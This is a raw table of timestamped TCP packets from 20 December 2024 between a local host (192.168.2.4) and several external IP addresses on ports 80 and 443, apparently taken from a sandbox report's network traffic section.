Dec 20, 2024 11:12:16.154104948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.154143095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.154187918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.155122042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.155165911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.155287027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.155327082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.156200886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.156244040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.156296968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.156343937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.157291889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.157339096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.157485962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.157531023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.158479929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.158524990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.158700943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.158744097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.159552097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.159599066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.159631968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.159671068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.160573006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.160619974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.160657883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.160702944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.161633015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.161676884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.161768913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.161811113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.162734985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.162780046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.162826061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.162870884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.163831949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.163880110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.163927078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.163974047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.164953947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.165014029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.165167093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.165213108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.165981054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.166007996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.166028976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.166043043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.167068005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.167114019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.167117119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.167159081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.168167114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.168211937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.168272018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.168315887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.169286966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.169332027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.169368982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.169411898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.170357943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.170403957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.170480013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.170523882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.171427011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.171473980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.171564102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.171606064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.172518969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.172561884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.172604084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.172646999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.173625946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.173670053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.173758030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.173801899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.174695015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.174741983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.174814939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.174856901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.175784111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.175841093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.175918102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.175966978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.176899910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.176944971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.177068949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.177110910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.177984953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.178042889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.178080082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.178127050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.179044962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.179086924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.179160118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.179198980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.180193901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.180239916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.180250883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.180295944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.181214094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.181262970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.181346893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.181389093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.182300091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.182346106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.182440042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.182482004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.183374882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.183418036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.183480978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.183522940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.184515953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.184561968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.184618950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.184662104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.185565948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.185614109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.185657978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.185697079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.186639071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.186681032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.186757088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.186799049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.187725067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.187772036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.187874079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.187917948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.188812017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.188854933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.188924074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.188966990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.189925909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.189970016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.190032005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.190074921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.191005945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.191052914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.191124916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.191168070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.192075968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.192121983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.192205906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.192254066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.193171024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.193218946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.193269968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.193312883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.194267035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.194312096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.194355011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.194394112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.195389986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.195439100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.195475101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.195519924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.196404934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.196450949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:18.032835960 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:18.032875061 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:18.032949924 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:18.035824060 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:18.035849094 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:18.475773096 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:18.476169109 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:18.597588062 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:18.597609043 CET	80	49792	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:18.597664118 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:18.597836018 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:18.597930908 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:18.718055010 CET	80	49792	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:19.257195950 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:19.257280111 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:19.258835077 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:19.258852959 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:19.259381056 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:19.308309078 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:19.308331013 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:19.308409929 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:19.942312002 CET	80	49792	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:19.942552090 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:19.959254026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:20.011554003 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:20.011665106 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:20.011710882 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:20.026741982 CET	49787	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:20.026762009 CET	443	49787	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:20.080516100 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:20.080612898 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:20.122977972 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:20.160749912 CET	49794	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:20.160804033 CET	443	49794	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:20.160991907 CET	49794	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:20.161361933 CET	49794	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:20.161377907 CET	443	49794	172.67.131.246	192.168.2.4
Dec 20, 2024 11:12:20.242918968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.144834995 CET	49794	443	192.168.2.4	172.67.131.246
Dec 20, 2024 11:12:21.423180103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423228025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423257113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423276901 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423285961 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423360109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423398018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423408031 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423435926 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423439980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423489094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423496962 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423526049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423536062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423561096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423598051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.423598051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.423945904 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.543303967 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.543375969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.543390989 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.543452978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.615371943 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.615469933 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.615535021 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.619415998 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.619453907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.619504929 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.628062963 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.628159046 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.628226042 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.636133909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.636226892 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.636295080 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.644949913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.645031929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.645034075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.645081043 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.653057098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.653095961 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.653110981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.653143883 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.661649942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.661705971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.661720037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.661748886 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.669995070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.670037031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.670049906 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.670083046 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.678437948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.678500891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.678529978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.678575993 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.686928034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.686986923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.687062025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.694258928 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.694298029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.694324970 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.694356918 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.807559967 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.807619095 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.807646036 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.807677984 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.809799910 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.809837103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.809889078 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.809911966 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.814939022 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.814994097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.815006018 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.815037012 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.820044041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.820101023 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.820102930 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.820146084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.825218916 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.825273991 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.825275898 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.825318098 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.829719067 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.829782963 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.829802990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.829847097 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.834645987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.834724903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.834738970 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.834791899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.839557886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.839616060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.839617968 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.839684010 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.844337940 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.844393015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.844398022 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.844873905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.848838091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.848974943 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.849037886 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.853985071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.854048014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.854125977 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.858784914 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.858844042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.858911991 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.863233089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.863416910 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.863475084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.868031025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.868215084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.868287086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.872772932 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.872828007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.872889042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.872936964 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.877679110 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.877731085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.877734900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.877785921 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.882364035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.882419109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.882437944 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.882487059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.887346029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.887383938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.887398958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.887430906 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.892091036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.892139912 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.892151117 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.892185926 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.896943092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.896982908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.896995068 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.897031069 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.901957035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.902026892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.902057886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.902107000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.927457094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.930444956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:21.999510050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:21.999561071 CET	80	49793	185.215.113.16	192.168.2.4
